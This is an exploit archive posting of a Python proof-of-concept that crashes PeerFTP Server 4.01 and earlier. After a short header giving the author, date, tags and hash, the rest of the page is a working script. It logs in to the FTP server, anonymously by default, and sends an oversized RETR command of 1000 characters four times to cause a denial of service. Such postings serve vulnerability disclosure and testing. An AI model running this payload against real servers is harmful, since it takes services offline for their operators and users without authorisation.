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PeerFTP Server 4.01 Denial Of Service

PeerFTP Server 4.01 Denial Of Service
Posted Mar 20, 2012
Authored by localh0t

PeerFTP Server versions 4.01 and below remote crash proof of concept exploit. Written in Python.

tags | exploit, remote, denial of service, proof of concept, python
SHA-256 | 7fea8fd5ea03f6f40b86a936296cfa83efffedf1395acd42b3bd95bde1104b3a

PeerFTP Server 4.01 Denial Of Service

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#!/usr/bin/python
# PeerFTP Server <=v4.01 Remote Crash PoC
# written by localh0t
# Date: 19/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
from socket import *
import sys, struct, os
if (len(sys.argv) < 3):
print "\nPeerFTP Server <=v4.01 Remote Crash PoC"
print "\n Usage: %s <host> <port> \n" %(sys.argv[0])
sys.exit()
def checkDefaultUser(username,password):
if username == '':
username = "anonymous"
if password == '':
password = "anonymous@test.com"
else:
pass
return username,password
def createUser():
username = raw_input("[!] Insert username (default: anonymous)> ")
password = raw_input("[!] Insert password (default: anonymous@test.com)> ")
return checkDefaultUser(username,password)
(username,password) = createUser()
print "\n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
print "[!] USERNAME: " + username
sock.send("USER " + username + "\r\n")
sock.recv(1024)
print "[!] PASSWORD: " + password
sock.send("PASS " + password + "\r\n")
sock.recv(1024)
print "[!] Sending payload..."
payload = "RETR " + ("X" * 1000) + "\r\n"
for i in range (1, 5):
sock.send(payload)
sock.close()
print "[!] Exploit succeed. Target should crashed."
sys.exit()

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